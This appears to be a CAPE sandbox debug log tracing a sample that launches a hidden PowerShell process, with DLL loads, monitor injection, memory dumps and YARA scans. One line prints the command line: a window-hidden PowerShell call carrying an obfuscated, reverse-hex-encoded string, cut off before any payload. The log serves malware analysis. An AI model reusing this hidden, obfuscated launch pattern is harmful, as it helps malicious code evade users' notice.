2025-12-09 07:09:46,859 [root] DEBUG: 2492: DLL loaded at 0x000007FEF0480000: C:\Windows\System32\mshtml (0x189a000 bytes).
2025-12-09 07:09:46,890 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD200000: C:\Windows\system32\RpcRtRemote (0x14000 bytes).
2025-12-09 07:09:46,921 [root] DEBUG: 2492: DLL loaded at 0x000007FEFB310000: C:\Windows\system32\msimtf (0xe000 bytes).
2025-12-09 07:09:46,921 [root] DEBUG: 2492: DLL loaded at 0x000007FEF4350000: C:\Windows\system32\MLANG (0x3b000 bytes).
2025-12-09 07:09:46,921 [root] DEBUG: 2492: DLL loaded at 0x000007FEFBAA0000: C:\Windows\system32\PROPSYS (0x12c000 bytes).
2025-12-09 07:09:46,953 [root] DEBUG: 2492: DLL loaded at 0x000007FEEFF30000: C:\Windows\System32\jscript9 (0x548000 bytes).
2025-12-09 07:09:46,968 [root] DEBUG: 2492: ProtectionHandler: Adding region at 0x0000000005E60000 to tracked regions.
2025-12-09 07:09:46,968 [root] DEBUG: 2492: GetEntropy: Error - Supplied address inaccessible: 0x0000000005E60000
2025-12-09 07:09:46,968 [root] DEBUG: 2492: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:46,968 [root] DEBUG: 2492: ReverseScanForNonZero: Error - Supplied size zero.
2025-12-09 07:09:47,000 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD670000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2025-12-09 07:09:47,000 [root] DEBUG: 2492: CreateProcessHandler: Injection info set for new process 968: C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe, ImageBase: 0x000000013FD90000
2025-12-09 07:09:47,000 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD4A0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2025-12-09 07:09:47,000 [root] INFO: Announced 64-bit process name: powershell.exe pid: 968
2025-12-09 07:09:47,000 [lib.api.process] INFO: Monitor config for <Process 968 powershell.exe>: C:\tmpm1ij88hx\dll\968.ini
2025-12-09 07:09:47,000 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:47,000 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD340000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2025-12-09 07:09:47,015 [root] DEBUG: Loader: Injecting process 968 (thread 2208) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:47,015 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-09 07:09:47,015 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:47,015 [lib.api.process] INFO: Injected into 64-bit <Process 968 powershell.exe>
2025-12-09 07:09:47,015 [root] INFO: Announced 64-bit process name: powershell.exe pid: 968
2025-12-09 07:09:47,015 [lib.api.process] INFO: Monitor config for <Process 968 powershell.exe>: C:\tmpm1ij88hx\dll\968.ini
2025-12-09 07:09:47,015 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:47,031 [root] DEBUG: Loader: Injecting process 968 (thread 2208) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:47,031 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-09 07:09:47,031 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:47,031 [lib.api.process] INFO: Injected into 64-bit <Process 968 powershell.exe>
2025-12-09 07:09:47,031 [root] DEBUG: 2492: DLL loaded at 0x000007FEF8200000: C:\Windows\system32\msls31 (0x42000 bytes).
2025-12-09 07:09:47,062 [root] DEBUG: 2492: DLL loaded at 0x000007FEF2CE0000: C:\Windows\system32\d2d1 (0x3c4000 bytes).
2025-12-09 07:09:47,062 [root] DEBUG: 968: Python path set to 'C:\Python38'.
2025-12-09 07:09:47,062 [root] DEBUG: 2492: DLL loaded at 0x000007FEF6220000: C:\Windows\system32\DWrite (0x198000 bytes).
2025-12-09 07:09:47,078 [root] DEBUG: 968: Dropped file limit defaulting to 100.
2025-12-09 07:09:47,078 [root] DEBUG: 2492: DLL loaded at 0x000007FEFA360000: C:\Windows\system32\dxgi (0x5d000 bytes).
2025-12-09 07:09:47,078 [root] INFO: Disabling sleep skipping.
2025-12-09 07:09:47,078 [root] DEBUG: 968: YaraInit: Compiled rules loaded from existing file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:09:47,078 [root] DEBUG: 968: YaraScan: Scanning 0x000000013FD90000, size 0x6f920
2025-12-09 07:09:47,078 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD2F0000: C:\Windows\system32\WINTRUST (0x3b000 bytes).
2025-12-09 07:09:47,078 [root] DEBUG: 968: Monitor initialised: 64-bit capemon loaded in process 968 at 0x000007FEF30B0000, thread 2208, image base 0x000000013FD90000, stack from 0x0000000000165000-0x0000000000170000
2025-12-09 07:09:47,078 [root] DEBUG: 968: Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe" -WindowStyle Hidden $biLMH='D4@C7@72@72@02@E6@96@F6@A6@D2@02@37@27@16@86@34@96@96@36@37@16@42@02@D3@76@E6@96@27@47@35@96@96@36@37@16@42@B3@D7@22@F5@42@87@03@22@D5@56@47@97@26@
2025-12-09 07:09:47,078 [root] DEBUG: 968: GetAddressByYara: ModuleBase 0x0000000077760000 FunctionName LdrpCallInitRoutine
2025-12-09 07:09:47,093 [root] DEBUG: 2492: DLL loaded at 0x000007FEFA180000: C:\Windows\system32\d3d11 (0x1d5000 bytes).
2025-12-09 07:09:47,093 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-09 07:09:47,093 [root] DEBUG: 968: set_hooks: Unable to hook LockResource
2025-12-09 07:09:47,109 [root] DEBUG: 968: Hooked 605 out of 606 functions
2025-12-09 07:09:47,109 [root] DEBUG: 2492: DLL loaded at 0x000007FEEFCB0000: C:\Windows\system32\D3D10Warp (0x279000 bytes).
2025-12-09 07:09:47,109 [root] INFO: Loaded monitor into process with pid 968
2025-12-09 07:09:47,109 [root] DEBUG: 968: caller_dispatch: Added region at 0x000000013FD90000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x000000013FD9830A, thread 2208).
2025-12-09 07:09:47,109 [root] DEBUG: 968: YaraScan: Scanning 0x000000013FD90000, size 0x6f920
2025-12-09 07:09:47,109 [root] DEBUG: 968: ProcessImageBase: Main module image at 0x000000013FD90000 unmodified (entropy change 0.000000e+00)
2025-12-09 07:09:47,109 [root] DEBUG: 2492: api-rate-cap: memcpy hook disabled due to rate
2025-12-09 07:09:47,109 [root] DEBUG: 968: DLL loaded at 0x000007FEFD110000: C:\Windows\system32\CRYPTBASE (0xf000 bytes).
2025-12-09 07:09:47,125 [root] DEBUG: 968: DLL loaded at 0x000007FEFB9F0000: C:\Windows\system32\uxtheme (0x56000 bytes).
2025-12-09 07:09:47,125 [root] DEBUG: 968: DLL loaded at 0x000007FEFE7F0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2025-12-09 07:09:47,125 [root] DEBUG: 968: DLL loaded at 0x000007FEFECB0000: C:\Windows\system32\shell32 (0xd8b000 bytes).
2025-12-09 07:09:47,125 [root] DEBUG: 968: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\USERENV (0x1f000 bytes).
2025-12-09 07:09:47,125 [root] DEBUG: 968: DLL loaded at 0x000007FEFD2B0000: C:\Windows\system32\profapi (0xf000 bytes).
2025-12-09 07:09:47,125 [root] DEBUG: 968: DLL loaded at 0x000007FEFBCD0000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_e372d88f30fbb845\comctl32 (0x1f5000 bytes).
2025-12-09 07:09:47,140 [root] DEBUG: 968: DLL loaded at 0x000007FEFBAA0000: C:\Windows\system32\propsys (0x12c000 bytes).
2025-12-09 07:09:47,140 [root] DEBUG: 968: DLL loaded at 0x000007FEFB120000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2025-12-09 07:09:47,140 [root] DEBUG: 968: DLL loaded at 0x000007FEFE460000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2025-12-09 07:09:47,140 [root] DEBUG: 968: DLL loaded at 0x000007FEFD670000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2025-12-09 07:09:47,140 [root] DEBUG: 968: DLL loaded at 0x000007FEFD4A0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2025-12-09 07:09:47,140 [root] DEBUG: 968: DLL loaded at 0x000007FEFD340000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2025-12-09 07:09:47,156 [root] DEBUG: 2492: DLL loaded at 0x000007FEFB320000: C:\Windows\system32\windowscodecs (0x161000 bytes).
2025-12-09 07:09:47,156 [root] DEBUG: 968: api-rate-cap: memcpy hook disabled due to rate
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ProtectionHandler: Adding region at 0x000007FFFFF81000 to tracked regions.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ProtectionHandler: Processing previous tracked region at: 0x0000000005E60000.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ReverseScanForNonZero: Error - Supplied size zero.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: DumpPEsInRange: Scanning range 0x000007FFFFF80000 - 0x000007FFFFF853D7.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ProtectionHandler: Adding region at 0x000007FFFFF83000 to tracked regions.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ScanForDisguisedPE: No PE image located in range 0x000007FFFFF80000-0x000007FFFFF853D7.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: DumpPEsInRange: Scanning range 0x000007FFFFF80000 - 0x000007FFFFF853D7.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ScanForDisguisedPE: No PE image located in range 0x000007FFFFF80000-0x000007FFFFF853D7.
2025-12-09 07:09:47,187 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\2492_8452404792381122025 to CAPE\ae263deb8f11c9f37b49a78bf8feea9bedafec382970207d25736a2a64e5c315; Size is 21463; Max size: 100000000
2025-12-09 07:09:47,187 [root] DEBUG: 2492: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\2492_8452404792381122025 (size 21463 bytes)
2025-12-09 07:09:47,187 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\2492_76674792381122025 to CAPE\ae263deb8f11c9f37b49a78bf8feea9bedafec382970207d25736a2a64e5c315; Size is 21463; Max size: 100000000
2025-12-09 07:09:47,187 [root] DEBUG: 2492: DumpRegion: Dumped entire allocation from 0x000007FFFFF80000, size 24576 bytes.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\2492_76674792381122025 (size 21463 bytes)
2025-12-09 07:09:47,187 [root] DEBUG: 2492: DumpRegion: Dumped entire allocation from 0x000007FFFFF80000, size 24576 bytes.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ProcessTrackedRegion: Dumped region at 0x000007FFFFF80000.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: ProcessTrackedRegion: Dumped region at 0x000007FFFFF80000.
2025-12-09 07:09:47,187 [root] DEBUG: 2492: YaraScan: Scanning 0x000007FFFFF80000, size 0x53d7
2025-12-09 07:09:47,187 [root] DEBUG: 2492: YaraScan: Scanning 0x000007FFFFF80000, size 0x53d7
2025-12-09 07:09:47,203 [root] DEBUG: 968: DLL loaded at 0x000007FEFD0B0000: C:\Windows\system32\apphelp (0x57000 bytes).
2025-12-09 07:09:47,203 [root] DEBUG: 968: DLL loaded at 0x000007FEF8D80000: C:\Windows\System32\shdocvw (0x34000 bytes).
2025-12-09 07:09:47,218 [root] DEBUG: 968: api-rate-cap: RegQueryValueExW hook disabled due to rate
2025-12-09 07:09:47,234 [root] DEBUG: 968: api-rate-cap: SHGetKnownFolderPath hook disabled due to rate
2025-12-09 07:09:47,234 [root] DEBUG: 968: api-rate-cap: NtQueryValueKey hook disabled due to rate
2025-12-09 07:09:47,265 [root] DEBUG: 968: DLL loaded at 0x000007FEF9370000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2025-12-09 07:09:47,281 [root] DEBUG: 968: DLL loaded at 0x000007FEF9610000: C:\Windows\system32\ntshrui (0x80000 bytes).
2025-12-09 07:09:47,281 [root] DEBUG: 968: DLL loaded at 0x000007FEFCE10000: C:\Windows\system32\srvcli (0x23000 bytes).
2025-12-09 07:09:47,281 [root] DEBUG: 968: DLL loaded at 0x000007FEF9690000: C:\Windows\system32\cscapi (0xf000 bytes).
2025-12-09 07:09:47,281 [root] DEBUG: 968: DLL loaded at 0x000007FEFAA20000: C:\Windows\system32\slc (0xb000 bytes).
2025-12-09 07:09:47,296 [root] DEBUG: 968: DLL loaded at 0x000007FEFCA50000: C:\Windows\system32\CRYPTSP (0x18000 bytes).
2025-12-09 07:09:47,296 [root] DEBUG: 968: DLL loaded at 0x000007FEFC750000: C:\Windows\system32\rsaenh (0x47000 bytes).
2025-12-09 07:09:47,296 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0R21C5093AY4OZ5LY7OX.temp
2025-12-09 07:09:47,296 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF22641b9.TMP to files\874550667be4560a0718d968e80738e9bbb0092ac72d4749d227fbd2b699d087; Size is 6066; Max size: 100000000
2025-12-09 07:09:47,312 [root] DEBUG: 968: DLL loaded at 0x000007FEF6170000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0xa9000 bytes).
2025-12-09 07:09:47,312 [root] DEBUG: 968: DLL loaded at 0x000007FEFC390000: C:\Windows\system32\VERSION (0xc000 bytes).
2025-12-09 07:09:47,375 [root] DEBUG: 968: DLL loaded at 0x000007FEEF1E0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr (0xac7000 bytes).
2025-12-09 07:09:47,375 [root] DEBUG: 968: DLL loaded at 0x000007FEFB200000: C:\Windows\system32\VCRUNTIME140_CLR0400 (0x16000 bytes).
2025-12-09 07:09:47,375 [root] DEBUG: 968: DLL loaded at 0x000007FEF60B0000: C:\Windows\system32\ucrtbase_clr0400 (0xbd000 bytes).
2025-12-09 07:09:47,515 [root] DEBUG: 968: DLL loaded at 0x000007FEEDBE0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\3597805b7d7dce423abb491985dd28e8\mscorlib.ni (0x1600000 bytes).
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FFFFF00000, size: 0xa0000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: GetEntropy: Error - Supplied address inaccessible: 0x000007FFFFF00000
2025-12-09 07:09:47,515 [root] DEBUG: 968: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Memory region (size 0xa0000) reserved but not committed at 0x000007FFFFF00000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Previously reserved region at 0x000007FFFFF00000, committing at: 0x000007FFFFF00000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FFFFF00000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FFFFF00000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FFFFEF0000, size: 0x10000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: GetEntropy: Error - Supplied address inaccessible: 0x000007FFFFEF0000
2025-12-09 07:09:47,515 [root] DEBUG: 968: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Processing previous tracked region at: 0x000007FFFFF00000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: DumpPEsInRange: Scanning range 0x000007FFFFF00000 - 0x000007FFFFF00066.
2025-12-09 07:09:47,515 [root] DEBUG: 968: ScanForDisguisedPE: Size too small: 0x66 bytes
2025-12-09 07:09:47,515 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_147207604792381122025 to CAPE\49ffedea6eab3ee14d695cdb860bb97189e41f4876b4a46cc7b876b87ba5c6db; Size is 102; Max size: 100000000
2025-12-09 07:09:47,515 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_147207604792381122025 (size 102 bytes)
2025-12-09 07:09:47,515 [root] DEBUG: 968: DumpRegion: Dumped entire allocation from 0x000007FFFFF00000, size 4096 bytes.
2025-12-09 07:09:47,515 [root] DEBUG: 968: ProcessTrackedRegion: Dumped region at 0x000007FFFFF00000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: YaraScan: Scanning 0x000007FFFFF00000, size 0x66
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Memory region (size 0x10000) reserved but not committed at 0x000007FFFFEF0000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Previously reserved region at 0x000007FFFFEF0000, committing at: 0x000007FFFFEF0000.
2025-12-09 07:09:47,515 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FE8FB7D000, size: 0x1000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: AllocationHandler: Processing previous tracked region at: 0x000007FFFFEF0000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpPEsInRange: Scanning range 0x000007FFFFEF0000 - 0x000007FFFFEF00F8.
2025-12-09 07:09:47,531 [root] DEBUG: 968: ScanForDisguisedPE: Size too small: 0xf8 bytes
2025-12-09 07:09:47,531 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_7811014792381122025 to CAPE\ce2e63fc912667fd527a2c7dc569e887f601577df767e3bd69808a3ded7ae134; Size is 248; Max size: 100000000
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_7811014792381122025 (size 248 bytes)
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpRegion: Dumped entire allocation from 0x000007FFFFEF0000, size 4096 bytes.
2025-12-09 07:09:47,531 [root] DEBUG: 968: ProcessTrackedRegion: Dumped region at 0x000007FFFFEF0000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: YaraScan: Scanning 0x000007FFFFEF0000, size 0xf8
2025-12-09 07:09:47,531 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FE8FC90000, size: 0x1000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:47,531 [root] DEBUG: 968: AllocationHandler: Processing previous tracked region at: 0x000007FE8FB70000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpPEsInRange: Scanning range 0x000007FE8FB70000 - 0x000007FE8FB70029.
2025-12-09 07:09:47,531 [root] DEBUG: 968: ScanForDisguisedPE: Size too small: 0x29 bytes
2025-12-09 07:09:47,531 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_151812904792381122025 to CAPE\9d506936c4d66656da0417af2a935e5195925d9d42d53a851977045db7d6ed6d; Size is 41; Max size: 100000000
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_151812904792381122025 (size 41 bytes)
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpRegion: Dumped entire allocation from 0x000007FE8FB70000, size 4096 bytes.
2025-12-09 07:09:47,531 [root] DEBUG: 968: ProcessTrackedRegion: Dumped region at 0x000007FE8FB70000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: YaraScan: Scanning 0x000007FE8FB70000, size 0x29
2025-12-09 07:09:47,531 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000000001CA52000, size: 0x2000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: AllocationHandler: Processing previous tracked region at: 0x000007FE8FC90000.
2025-12-09 07:09:47,531 [root] DEBUG: 968: DumpPEsInRange: Scanning range 0x000007FE8FC90000 - 0x000007FE8FC90132.
2025-12-09 07:09:47,531 [root] DEBUG: 968: ScanForDisguisedPE: Size too small: 0x132 bytes
2025-12-09 07:09:47,531 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_29661664792381122025 to CAPE\ad832034ca8eec753b21f25d0bd4955814f03fd1488eb724db4553f45ab19f0c; Size is 306; Max size: 100000000
2025-12-09 07:09:47,546 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_29661664792381122025 (size 306 bytes)
2025-12-09 07:09:47,546 [root] DEBUG: 968: DumpRegion: Dumped entire allocation from 0x000007FE8FC90000, size 4096 bytes.
2025-12-09 07:09:47,546 [root] DEBUG: 968: ProcessTrackedRegion: Dumped region at 0x000007FE8FC90000.
2025-12-09 07:09:47,546 [root] DEBUG: 968: YaraScan: Scanning 0x000007FE8FC90000, size 0x132
2025-12-09 07:09:47,546 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000000001CA50000.
2025-12-09 07:09:47,609 [root] DEBUG: 968: DLL loaded at 0x000007FEECF70000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System\37a1d51f35918dd36a0d4e34cc91732e\System.ni (0xc70000 bytes).
2025-12-09 07:09:47,671 [root] DEBUG: 968: DLL loaded at 0x000007FEEC4F0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\89bc329e8c65a9e13067c9776d925d78\System.Core.ni (0xa75000 bytes).
2025-12-09 07:09:47,671 [root] DEBUG: 968: DLL loaded at 0x000007FEF2C30000: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\07ab3d7c2cf97c9425d0805952d626ee\Microsoft.PowerShell.ConsoleHost.ni (0xab000 bytes).
2025-12-09 07:09:47,671 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FE8FC56000, size: 0x1000.
2025-12-09 07:09:47,687 [root] DEBUG: 968: GetEntropy: Error - Supplied address inaccessible: 0x000007FE8FC20000
2025-12-09 07:09:47,687 [root] DEBUG: 968: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:47,687 [root] DEBUG: 968: AllocationHandler: Processing previous tracked region at: 0x000000001CA50000.
2025-12-09 07:09:47,687 [root] DEBUG: 968: DumpPEsInRange: Scanning range 0x000000001CA50000 - 0x000000001CA55FFB.
2025-12-09 07:09:47,687 [root] DEBUG: 968: ScanForDisguisedPE: No PE image located in range 0x000000001CA50000-0x000000001CA55FFB.
2025-12-09 07:09:47,687 [lib.common.results] INFO: Uploading file C:\STyimYXp\CAPE\968_203867254792381122025 to CAPE\47c043b126c11cdba806facad36103e9f076064622e4862765a165556e165e7c; Size is 24571; Max size: 100000000
2025-12-09 07:09:47,687 [root] DEBUG: 968: DumpMemory: Payload successfully created: C:\STyimYXp\CAPE\968_203867254792381122025 (size 24571 bytes)
2025-12-09 07:09:47,687 [root] DEBUG: 968: DumpRegion: Dumped entire allocation from 0x000000001CA50000, size 24576 bytes.
2025-12-09 07:09:47,687 [root] DEBUG: 968: ProcessTrackedRegion: Dumped region at 0x000000001CA50000.
2025-12-09 07:09:47,687 [root] DEBUG: 968: YaraScan: Scanning 0x000000001CA50000, size 0x5ffb
2025-12-09 07:09:47,687 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:47,687 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:47,859 [root] DEBUG: 968: DLL loaded at 0x000007FEEA340000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\f0ff319e08c416452ec3900279b0f96f\System.Management.Automation.ni (0x21a3000 bytes).
2025-12-09 07:09:47,859 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FB70000.
2025-12-09 07:09:47,875 [root] DEBUG: 968: set_hooks_by_export_directory: Hooked 0 out of 606 functions
2025-12-09 07:09:47,875 [root] DEBUG: 968: DLL loaded at 0x000007FEF7100000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\nlssorting (0x16000 bytes).
2025-12-09 07:09:47,875 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FB70000.
2025-12-09 07:09:47,875 [root] DEBUG: 968: DLL loaded at 0x0000000077910000: C:\Windows\system32\psapi (0x7000 bytes).
2025-12-09 07:09:47,890 [root] DEBUG: 968: DLL loaded at 0x000007FEFD2F0000: C:\Windows\system32\wintrust (0x3b000 bytes).
2025-12-09 07:09:47,890 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC90000.
2025-12-09 07:09:47,890 [root] DEBUG: 968: DLL loaded at 0x000007FEFB300000: C:\Windows\system32\MSISIP (0xb000 bytes).
2025-12-09 07:09:47,890 [root] DEBUG: 968: DLL loaded at 0x000007FEF6F30000: C:\Windows\system32\wshext (0x1d000 bytes).
2025-12-09 07:09:47,906 [root] DEBUG: 968: DLL loaded at 0x000007FEFA740000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\COMCTL32 (0xa0000 bytes).
2025-12-09 07:09:47,906 [root] DEBUG: 968: DLL loaded at 0x000007FEFDBD0000: C:\Windows\system32\COMDLG32 (0x97000 bytes).
2025-12-09 07:09:47,906 [root] DEBUG: 968: DLL loaded at 0x000007FEF6F20000: C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip (0xc000 bytes).
2025-12-09 07:09:47,906 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FB70000.
2025-12-09 07:09:47,906 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:47,921 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:47,921 [root] DEBUG: 968: api-rate-cap: NtDelayExecution hook disabled due to rate
2025-12-09 07:09:47,937 [root] DEBUG: 968: api-rate-cap: NtDelayExecution hook disabled due to rate
2025-12-09 07:09:47,937 [root] DEBUG: 968: DLL loaded at 0x000007FEEA1D0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\dee95ca75ccebe1cc18b31dca334cd53\System.Management.ni (0x166000 bytes).
2025-12-09 07:09:47,953 [root] DEBUG: 968: DLL loaded at 0x000007FEEA060000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\4ac88f62ef161467f8e9dd4985837e51\System.DirectoryServices.ni (0x166000 bytes).
2025-12-09 07:09:48,000 [root] DEBUG: 968: DLL loaded at 0x000007FEE97B0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\1fb6db2ce6d2887fe6f8f620cb092343\System.Xml.ni (0x8ab000 bytes).
2025-12-09 07:09:48,000 [root] DEBUG: 968: DLL loaded at 0x000007FEE9670000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\b5152c3c02957bbe4459505a39afde20\System.Configuration.ni (0x133000 bytes).
2025-12-09 07:09:48,015 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FE8FD30000, size: 0x1000.
2025-12-09 07:09:48,015 [root] DEBUG: 968: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:48,015 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,062 [root] DEBUG: 968: DLL loaded at 0x000007FEE8D00000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data\dcffb1d4b51a427f7c054b15597ef269\System.Data.ni (0x970000 bytes).
2025-12-09 07:09:48,078 [root] DEBUG: 968: DLL loaded at 0x000007FEE8990000: C:\Windows\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data (0x369000 bytes).
2025-12-09 07:09:48,093 [root] DEBUG: 968: AllocationHandler: Adding allocation to tracked region list: 0x000007FE8FD40000, size: 0x1000.
2025-12-09 07:09:48,093 [root] DEBUG: 968: AddTrackedRegion: GetEntropy failed.
2025-12-09 07:09:48,093 [root] DEBUG: 968: DLL loaded at 0x000007FEF6F10000: C:\Windows\system32\api-ms-win-core-xstate-l2-1-0 (0x3000 bytes).
2025-12-09 07:09:48,109 [root] DEBUG: 968: hook_api: clrjit::compileMethod export address 0x000007FEE8845FF0 obtained via GetFunctionAddress
2025-12-09 07:09:48,109 [root] DEBUG: 968: DLL loaded at 0x000007FEE8840000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit (0x14e000 bytes).
2025-12-09 07:09:48,109 [root] DEBUG: 968: .NET JIT native cache at 0x000007FE8FD60000: scans and dumps active.
2025-12-09 07:09:48,125 [root] DEBUG: 968: DLL loaded at 0x000007FEE87D0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\95713da12f28e9ecca9fa0689ac9985e\Microsoft.PowerShell.Security.ni (0x64000 bytes).
2025-12-09 07:09:48,125 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
